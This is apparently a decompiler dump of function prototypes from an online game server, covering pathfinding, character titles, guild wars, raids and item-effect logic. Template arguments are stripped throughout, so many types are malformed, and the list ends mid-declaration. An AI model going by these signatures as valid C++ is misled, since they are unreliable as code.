std::_Tree_std::allocator>_0>>::_Buynode(std::_Tree,std::allocator >,0> > *this); void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode); std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::Getloweriter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid); std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::GetUpperiter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where); std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val); int std::_Tree_std::allocator>_1>>::erase(...); bool __thiscall MysteryVaultTable::DataProcess(MysteryVaultTable *this); void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this); bool __cdecl ProdSucRateTable::GetRateInfo(ProdSucRateTable::RateInfo *pInfo, unsigned int PlayerPoint, unsigned int ProducePoint); void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this); void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this, unsigned int x, unsigned int y); void __thiscall BitSet::_BitSet(BitSet *this); void __thiscall Navigator::MapNavigator::_MapNavigator(Navigator::MapNavigator *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __cdecl std::fill(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Val); void __thiscall Navigator::PathFindBuffer::PathFindBuffer(Navigator::PathFindBuffer *this, int buffersize); Navigator::PathFindCell *__thiscall Navigator::PathFindBuffer::operator__(Navigator::PathFindBuffer *this, Navigator::UnitPoint pnt); void __thiscall Navigator::MapNavigator::MapNavigator(Navigator::MapNavigator *this, int buffersize, int stepsize); int __thiscall Navigator::MapNavigator::mn_ExitFromBlock(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int *startx, unsigned int *starty); SHINE_XY_TYPE *__thiscall std::vector>::_Ufill(std::vector > *this, SHINE_XY_TYPE *_Ptr, unsigned int _Count, SHINE_XY_TYPE *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_vector>(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L84423(int a1); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPointWithDistance *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPoint *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPoint _Val); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPointWithDistance _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Navigator::NaviPoint *_Val); void __thiscall Navigator::WaitingList::WaitingList(Navigator::WaitingList *this); void __thiscall Navigator::WaitingList::wl_Push(Navigator::WaitingList *this, int x, int y, int d); int __thiscall Navigator::WaitingList::wl_StoreNeighbor(Navigator::WaitingList *this, Navigator::PathFindArgument *pfarg, int centerx, int centery, Navigator::UnitPoint *goal, int stepsize, Navigator::NaviPoint *start); void __thiscall std::vector>::push_back(std::vector > *this, Navigator::UnitPoint *_Val); void __thiscall std::vector>::push_back(std::vector > *this, Navigator::NaviPoint *_Val); int __thiscall Navigator::MapNavigator::nm_MakePath(Navigator::MapNavigator *this, Navigator::VirtualMap *map, Navigator::UnitPoint goal, Navigator::NaviPoint *start, int maxdepth, StaticVector *pathbuffer); void __thiscall Navigator::PathAnalyzer::pa_Analyze(Navigator::PathAnalyzer *this); int __thiscall Navigator::MapNavigator::mn_Search(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathbuffer); int __thiscall Navigator::MapNavigator::mn_PathFind(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathfindvector); // void __thiscall Navigator::VirtualMap::VirtualMap(Navigator::VirtualMap *this, #1265 *map); int __thiscall Navigator::VirtualMap::vm_DistanceCalc(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB); int __thiscall Navigator::VirtualMap::vm_IsBlocked(Navigator::VirtualMap *this, int x, int y); int __thiscall Navigator::VirtualMap::vm_IsStreight(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB); Navigator::NaviPoint *__thiscall Navigator::VirtualMap::vm_FindBlock(Navigator::VirtualMap *this, Navigator::NaviPoint *result, int xA, int yA, int xB, int yB); void __thiscall CCharacterTitleZone::CCharacterTitleZone(CCharacterTitleZone *this, CCharacterTitleData *pCharacterTitleData); void __thiscall CCharacterTitleZone::ctz_SetObject(CCharacterTitleZone *this, #593 *pPlayer); void __thiscall CCharacterTitleZone::InitNewPlayer(CCharacterTitleZone *this, int bFirstConnect); int __thiscall CCharacterTitleZone::SetTitleStatusZone(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); int __thiscall CCharacterTitleZone::TitleValues_SaveCheck(CCharacterTitleZone *this, char Type); int __thiscall CCharacterTitleDataStateServer::Read(CCharacterTitleDataStateServer *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); CT_DataState *__thiscall CCharacterTitleDataStateServer::GetStateData(CCharacterTitleDataStateServer *this, char Type, char ElementNo); void __thiscall CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK(CCharacterTitleZone *this, char Type, char ElementNo, unsigned __int16 MobID, unsigned __int16 Error); void __thiscall CCharacterTitleZone::Send_NC_CT_SET_CMD(CCharacterTitleZone *this, CT_INFO *pInfo); void __thiscall CCharacterTitleZone::Send_NC_CT_DB_SET_CMD(CCharacterTitleZone *this, CT_INFO *pInfo); void __thiscall CCharacterTitleZone::Send_NC_CT_SET_CURRENT_DB_CMD(CCharacterTitleZone *this, PROTO_NC_CT_SET_CURRENT_REQ *pReq, CT_INFO *pUseTitle, CT_INFO *pUsableTitle); int __thiscall CCharacterTitleZone::SetTitleStatus(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); int __thiscall CCharacterTitleZone::SetTitleUsable(CCharacterTitleZone *this, char Type, char ElementNo); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ(void *me, WEAPON_TITLE_DATA *netcmd, int pWTData, __int16 handle); int __thiscall CCharacterTitleZone::CheckNewTitle(CCharacterTitleZone *this, char Type); int __thiscall CCharacterTitleZone::TitleSetValue(CCharacterTitleZone *this, char Type, unsigned __int64 Value); void __thiscall CCharacterTitleZone::CT_MoneyGive(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nTo); void __thiscall CCharacterTitleZone::CT_MoneyBeg(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nFrom); void __thiscall CCharacterTitleZone::CT_KilledByMob(CCharacterTitleZone *this, unsigned __int16 nMobID, unsigned __int16 nMobHandle); void __thiscall CCharacterTitleZone::CT_KillMob(CCharacterTitleZone *this, unsigned __int16 nMobID); void __thiscall CCharacterTitleZone::CT_PartyJoin(CCharacterTitleZone *this, unsigned __int16 nPartyNo, int nNumOfMember); void __thiscall CCharacterTitleZone::CT_KQJoin(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_KQSuccess(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_KQFail(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_SellNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID); void __thiscall CCharacterTitleZone::CT_BuyNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID); void __thiscall CCharacterTitleZone::CT_ItemUpSuccess(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_ItemUpFail(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_ItemUpDestroy(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_AddFrined(CCharacterTitleZone *this, unsigned __int16 nNumOfFriend); void __thiscall CCharacterTitleZone::CT_QuestSuccess(CCharacterTitleZone *this, unsigned __int16 nQuestID); void __thiscall CCharacterTitleZone::CT_Chatting(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_BroadCast(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_LevelUp(CCharacterTitleZone *this, char nLevel); void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiWin(CCharacterTitleZone *this, unsigned __int16 nWinCnt); void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiSet(CCharacterTitleZone *this); int __thiscall CCharacterTitleZone::ProcessTitle(CCharacterTitleZone *this); void __thiscall IObserver::_IObserver(IObserver *this); unsigned __int16 __thiscall IObserver::notify(IObserver *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); void __thiscall Observer::Observer(Observer *this, #593 *, IObserver *); bool __thiscall Observer::operator__(Observer *this, Observer *other); unsigned __int16 __thiscall Observer::notify(Observer *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); bool __thiscall Observer::needToAttach(Observer *this); void __thiscall Observer::SetTick(Observer *this); void __thiscall Observer::Observer(Observer *this); void __thiscall GUILD_ZONE::GUILD_ZONE(GUILD_ZONE *this); int __thiscall GUILD_ZONE::operator_(int this, int a2); void __thiscall List::_List(List *this); void __thiscall CGuildZone::GUILD_ZONE_LIST::GUILD_ZONE_LIST(CGuildZone::GUILD_ZONE_LIST *this); void __thiscall CGuildZone::_CGuildZone(CGuildZone *this); int __thiscall CGuildZone::Add(CGuildZone *this, GUILD_ZONE *pGuildZone); int __thiscall CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(CGuildZone *this); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_MAKE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_MAKE_CMD *pCmd); char __thiscall List::l_PushA(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PushZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PopA(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PopZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele); void __thiscall CGuildZone::ClearWar(CGuildZone *this); CGuildZone::GUILD_ZONE_LIST *__thiscall CGuildZone::Find(CGuildZone *this, unsigned int nNo); int __thiscall CGuildZone::IsGuildEnemy(CGuildZone *this, unsigned int nGuild1, unsigned int nGuild2); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_START_CMD *pCmd); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_END_CMD *pCmd); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(CGuildZone *this, PROTO_NC_GUILD_ZONE_LIST_ACK *pAck); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_DELETE_CMD *pCmd); void __thiscall CGuildZone::CGuildZone(CGuildZone *this); void __thiscall RaidTask::NearRaidPlayers::Clear(RaidTask::NearRaidPlayers *this); void __thiscall RaidTask::NearRaidPlayers::Add(RaidTask::NearRaidPlayers *this, #734 *pPlayer); bool __cdecl RaidTask::GetPlayerInfo(RAID_MEMBERCLASS *pMemberInfo, Raid::iterator *iter); void __thiscall RaidSystem::_RaidSystem(RaidSystem *this); char __cdecl RaidTask::rt_Broadcast(RaidTask *this, #734 *, ProtocolPacket *, int); void __cdecl RaidTask::rt_SendPlayerData(#734 *pPlayer); void __cdecl RaidTask::rt_SendPlayerDataDetail(#734 *pPlayer); void __cdecl RaidTask::rt_SendMeRaidPlayersData(#734 *pPlayer); void __cdecl RaidTask::rt_SendPlayerLocation(#734 *pPlayer); void __cdecl RaidTask::rt_SendPlayerLocationExChange(#734 *pPlayer); RaidSystem *__cdecl RaidTask::GetRaidSystem(); Raid *__cdecl RaidTask::rt_CreateRaid(unsigned __int16 RaidNo, const unsigned __int16 *pkPartyNos); Raid *__cdecl RaidTask::rt_GetRaid(unsigned __int16 rRaidRegNo); char __cdecl RaidTask::_GetRaidPlayer(RaidTask::NearRaidPlayers *rRaidPlayers, unsigned __int16 RaidRegNo, #593 *pCenter, unsigned int Range); void __cdecl RaidTask::rt_SendPlayerDataDetail(unsigned __int16 RaidNo, unsigned int PlayerNo); bool __cdecl RaidTask::rt_ResetRaid(unsigned __int16 rRaidRegNo); #734 *__cdecl RaidTask::rt_AddPlayer(PROTO_NC_RAID_ZONE_MEMBER_JOIN_CMD *pJoinInfo); #734 *__cdecl RaidTask::rt_DelPlayer(unsigned __int16 RaidNo, unsigned int PlayerRegNo); char __cdecl RaidTask::rt_GetNearRaidPlayer(RaidTask::NearRaidPlayers *rRaidPlayers, unsigned __int16 RaidRegNo, #593 *pCenter); char __cdecl RaidTask::rt_GetRaidPlayer(RaidTask::NearRaidPlayers *rRaidPlayers, unsigned __int16 RaidRegNo); char __cdecl RaidTask::rt_QuestCheck(void (__thiscall *qf)(ShineQuestDiary *this, #593 *, #593 *, MobDataBox::MobDataBoxIndex *), #593 *player, #593 *mobobj, MobDataBox::MobDataBoxIndex *mobinf); void *__thiscall IObjectTypeValidator::_vector_deleting_destructor_(IObjectTypeValidator *this, unsigned int); bool __thiscall TargetTypeValidator::check(TargetTypeValidator *this, #593 *, #593 *); bool __thiscall MobGradeTypeValidator::check(MobGradeTypeValidator *this, #593 *, #593 *); bool __thiscall MobTypeValidator::check(MobTypeValidator *this, #593 *, #593 *); void __thiscall CharClassValidator::CharClassValidator(CharClassValidator *this, unsigned int value); bool __thiscall CharClassValidator::check(CharClassValidator *this, #593 *, #593 *); IObjectTypeValidator *__cdecl MakeValidator(ActionTargetType actionTargetType, unsigned int value); void __thiscall MobGradeTypeValidator::_MobGradeTypeValidator(CharClassValidator *this); void *__thiscall MobTypeValidator::_scalar_deleting_destructor_(CharClassValidator *this, unsigned int); void __thiscall ABStateCondition::_ABStateCondition(RangeCondition *this); bool __thiscall IActCondition::_typeValidationCheck(IActCondition *this, ItemActionArgument *arg); bool __thiscall IActCondition::_check(TargetActionCondition *this, ItemActionArgument *arg); void *__thiscall IActCondition::_scalar_deleting_destructor_(IActCondition *this, unsigned int); void __thiscall ABStateCondition::ABStateCondition(EtcCondition *this, ItemActionCondition *conditionData); bool __thiscall IActCondition::check(IActCondition *this, ItemActionArgument *arg); bool __thiscall RangeCondition::_check(RangeCondition *this, ItemActionArgument *arg); std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Max(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode); void *__thiscall ActiveSkillGroupCondition::_vector_deleting_destructor_(RangeCondition *this, unsigned int); void __thiscall std::_Tree_std::allocator>_1>>::_Rrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode); int std::_Tree_std::allocator>_1>>::_Buynode(...); void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); ActionRangeFactor *__cdecl ActionRangeFactors::getRangeFactor(unsigned int index); IActCondition *__cdecl ItemActionConditions::getCond(unsigned __int16 index); void __thiscall RangeCondition::RangeCondition(RangeCondition *this, ItemActionCondition *conditionData); IActCondition *__cdecl MakeCondition(ItemActionCondition *conditionData); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); int std::_Tree_std::allocator>_0>>::erase(...); int std::_Tree_std::allocator>_0>>::erase(...); bool __thiscall ActionRangeFactors::DataProcess(ActionRangeFactors *this); bool __thiscall ItemActionConditions::DataProcess(ItemActionConditions *this); void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this); void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this); void __thiscall AxialListNearExecution_All::_AxialListNearExecution_All(AxialListNearExecution_All *this); void __thiscall AxialListNearExecution_Enemy::AxialListNearExecution_Enemy(AxialListNearExecution_Enemy *this, #593 *me); void __thiscall AxialListNearExecution_Party::AxialListNearExecution_Party(AxialListNearExecution_Party *this, unsigned __int16 partyRegisterNum); void __thiscall AxialListNearExecution_EnemyGuild::AxialListNearExecution_EnemyGuild(AxialListNearExecution_EnemyGuild *this, unsigned int guildRegisterNum); void __thiscall AxialListNearExecution_MyGuild::AxialListNearExecution_MyGuild(AxialListNearExecution_MyGuild *this, unsigned int guildRegisterNum); void __thiscall AxialListNearExecution_MyRaid::AxialListNearExecution_MyRaid(AxialListNearExecution_MyRaid *this, unsigned __int16 raidRegisterNum); void *__thiscall IActEffect::_vector_deleting_destructor_(IActEffect *this, unsigned int); void __thiscall IAxialListNearExecution::apply(IAxialListNearExecution *this, IActEffect *effect, ItemActionArgument *arg); char __thiscall AxialListNearExecution_Enemy::alns_ValidObject(AxialListNearExecution_Enemy *this, #593 *obj); char __thiscall AxialListNearExecution_Party::alns_ValidObject(AxialListNearExecution_Party *this, #593 *obj); char __thiscall AxialListNearExecution_All::alns_ValidObject(AxialListNearExecution_All *this, #593 *obj); char __thiscall AxialListNearExecution_EnemyGuild::alns_ValidObject(AxialListNearExecution_EnemyGuild *this, #593 *obj); char __thiscall AxialListNearExecution_MyGuild::alns_ValidObject(AxialListNearExecution_MyGuild *this, #593 *obj); char __thiscall AxialListNearExecution_MyRaid::alns_ValidObject(AxialListNearExecution_MyRaid *this, #593 *obj); bool __thiscall IActEffect::_typeValidationCheck(IActEffect *this, ItemActionArgument *arg); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak bool __thiscall ActionEffectTypeEffect::_typeValidationCheck(ActionEffectTypeEffect *this, ItemActionArgument *arg); void __cdecl Send_SETITEMHEALEFFECT(#593 *, char, unsigned int); unsigned int __thiscall RecoverTypeEffect::_execute(RecoverTypeEffect *this, ItemActionArgument *arg, #593 *target); void __thiscall AbStateTypeEffect::equipTick(AbStateTypeEffect *this, #593 *, #593 *); unsigned int __thiscall AbStateTypeEffect::_execute(AbStateTypeEffect *this, ItemActionArgument *arg, #593 *target); unsigned int __thiscall ActionImpowerTypeEffect::fallback(ActionImpowerTypeEffect *this, ItemActionArgument *arg); unsigned int __thiscall ActionEffectTypeEffect::_execute(ActionEffectTypeEffect *this, ItemActionArgument *arg, #593 *target); unsigned int __thiscall ActionEffectTypeEffect::fallback(ActionEffectTypeEffect *this, ItemActionArgument *arg); IActEffect *__cdecl MakeEffect(ItemActionEffect *effectData); void *__thiscall IAxialListNearExecution::_vector_deleting_destructor_(AxialListNearExecution_MyRaid *this, unsigned int); ActionResult *__thiscall IActEffect::execute(IActEffect *this, ActionResult *result, ItemActionArgument *arg); unsigned int __thiscall DispelAttrTypeEffect::_execute(DispelAttrTypeEffect *this, ItemActionArgument *arg, #593 *target); void *__thiscall DispelAttrTypeEffect::_vector_deleting_destructor_(ActionEffectTypeEffect *this, unsigned int); void __thiscall AbStateTypeEffect::_AbStateTypeEffect(ActionEffectTypeEffect *this); void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); IActEffect *__cdecl ItemActionEffects::getEffect(unsigned __int16 index); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last); bool __thiscall ItemActionEffects::DataProcess(ItemActionEffects *this); void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this); void __thiscall ItemActionObserve::ItemActionObserve(ItemActionObserve *this); void __thiscall ItemActionObserve::_ItemActionObserve(ItemActionObserve *this); void __thiscall ItemActionObserve::Attach(ItemActionObserve *this, Action *pAction, unsigned __int16 ActionID, unsigned __int16 itemid); void __thiscall ItemActionObserveManager::SetObject(ItemActionObserveManager *this, #593 *pObject); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall List::_List(List *this); void __cdecl std::fill(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Val); ItemActionObserveManager::GroupCoolTime *__cdecl std::_Copy_opt(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); ItemActionObserveManager::GroupCoolTime *__cdecl std::_Copy_backward_opt(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void *__thiscall ItemActionObserve::_scalar_deleting_destructor_(ItemActionObserve *this, unsigned int); void __thiscall ItemActionObserveBuffer::_ItemActionObserveBuffer(ItemActionObserveBuffer *this); char __thiscall List::l_PushA(List *this, ItemActionObserve *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, ItemActionObserve *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ItemActionObserve *ele); char __thiscall List::l_PopZ(List *this, ItemActionObserve *ele); SHINE_XY_TYPE *__cdecl std::copy_backward(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Dest); ItemActionObserveManager::GroupCoolTime *__cdecl std::_Uninit_copy>(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(ItemActionObserveManager::GroupCoolTime *_First, unsigned int _Count, ItemActionObserveManager::GroupCoolTime *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); ActionResult *__thiscall Action::raise(Action *this, ActionResult *result, ItemActionArgument *arg); ActionResult *__thiscall ItemActionObserve::EventRun(ItemActionObserve *this, ActionResult *result, ItemActionArgument *pArgument); ItemActionObserveManager::GroupCoolTime *__thiscall std::vector>::_Ufill(std::vector > *this, ItemActionObserveManager::GroupCoolTime *_Ptr, unsigned int _Count, ItemActionObserveManager::GroupCoolTime *_Val); void __thiscall ItemActionObserveBuffer::ItemActionObserveBuffer(ItemActionObserveBuffer *this); ItemActionObserveBuffer *__cdecl ItemActionObserveBuffer::Instance(); char __thiscall ItemActionObserveManager::DelAction(ItemActionObserveManager *this, #593 *, unsigned __int16, unsigned __int16); void __thiscall ItemActionObserveManager::UpDate(ItemActionObserveManager *this); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ActionResult *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemActionObserve *const *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemActionObserveManager::GroupCoolTime *_Val); unsigned int __thiscall ItemActionObserveManager::ActionResults::GetRateAppliValue(ItemActionObserveManager::ActionResults *this, unsigned int OriValue); unsigned int __thiscall ItemActionObserveManager::ActionResults::GetPlusAppliValue(ItemActionObserveManager::ActionResults *this); void __thiscall ItemActionObserveManager::Clear(ItemActionObserveManager *this); void __thiscall ItemActionObserveManager::ResetCoolTime(ItemActionObserveManager *this); bool __thiscall ItemActionObserveManager::IsActiveGroup(ItemActionObserveManager *this, const unsigned __int16 ActionGroupID); void __thiscall ItemActionObserveManager::SendCoolTimes2Client(ItemActionObserveManager *this); void __thiscall ItemActionObserveManager::SendCoolTimes2DB(ItemActionObserveManager *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, ItemActionObserveManager::GroupCoolTime *_Val); void __thiscall ItemActionObserveManager::ItemActionObserveManager(ItemActionObserveManager *this); void __thiscall std::vector>::push_back(std::vector > *this, ActionResult *_Val); void __thiscall std::vector>::push_back(std::vector > *this, ItemActionObserve *const *_Val); void __thiscall std::vector>::push_back(std::vector > *this, ItemActionObserveManager::GroupCoolTime *_Val); char __thiscall ItemActionObserveManager::AddAction(ItemActionObserveManager *this, #593 *, unsigned __int16, unsigned __int16); void __thiscall ItemActionObserveManager::SetCoolTime(ItemActionObserveManager *this, unsigned __int16 CoolTime, unsigned __int16 Group, unsigned __int16 ActionID); bool __thiscall ItemActionObserveManager::_EventRun(ItemActionObserveManager *this, ItemActionObserveManager::ActionResults *pResults, ItemActionArgument *pArgument, const unsigned __int16 UseItemID); bool __thiscall ItemActionObserveManager::EventRunByItemUse(ItemActionObserveManager *this, ItemActionObserveManager::ActionResults *pResults, ItemActionArgument *pArgument, unsigned __int16 itemID); bool __thiscall ItemActionObserveManager::EventRun(ItemActionObserveManager *this, ItemActionObserveManager::ActionResults *pResults, ItemActionArgument *pArgument); bool __thiscall ItemActionObserveManager::EventRunBySkillGroupIndex(ItemActionObserveManager *this, ItemActionObserveManager::ActionResults *pResults, SkillDataBox::SkillDataIndex *pSkillIndex, SkillEffectIncreaseType Impower, #593 *psubject, #593 *pobject); bool __thiscall ItemActionObserveManager::EventRun_IncDmgRate(ItemActionObserveManager *this, #593 *, #593 *, AttackType, ItemActionObserveManager::ActionResults *); void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last); void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this); void __thiscall std::map_std::allocator>>::map_std::allocator>>(std::map,std::allocator > > *this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl 